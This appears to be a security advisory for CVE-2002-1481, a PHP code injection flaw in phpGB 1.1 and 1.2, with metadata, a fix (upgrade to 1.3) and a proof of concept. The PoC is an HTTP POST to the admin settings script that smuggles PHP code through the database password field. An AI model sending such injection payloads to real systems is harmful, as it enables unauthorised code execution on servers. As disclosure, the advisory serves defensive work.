phpGB PHP Code Injection Vulnerability

BID:5679

Info

phpGB PHP Code Injection Vulnerability

Bugtraq ID: 5679
Class: Input Validation Error
CVE: CVE-2002-1481
Remote: Yes
Local: No
Published: Sep 09 2002 12:00AM
Updated: Jul 11 2009 05:06PM
Credit: Discovery credited to ppp-design.
Vulnerable: phpGB phpGB 1.2
phpGB phpGB 1.1
Not Vulnerable: phpGB phpGB 1.4
phpGB phpGB 1.3

Exploit / POC

phpGB PHP Code Injection Vulnerability

The following proof of concept was supplied by ppp-design:

telnet example.com 80\n
POST /phpGB/admin/savesettings.php HTTP/1.0\n
Content-Type: application/x-www-form-urlencoded\n
Content-Length: 123\n
dbpassword=%22%3Bphpinfo%28%29%3B%24a%3D%22&toolbar=1
&messenger=1&smileys=1&title=1&db_session_handler=0
&all_in_one=0&test=\n
\n

Solution / Fix

phpGB PHP Code Injection Vulnerability

Solution:
Upgrade to phpGB 1.3.0 or greater.

References

phpGB PHP Code Injection Vulnerability

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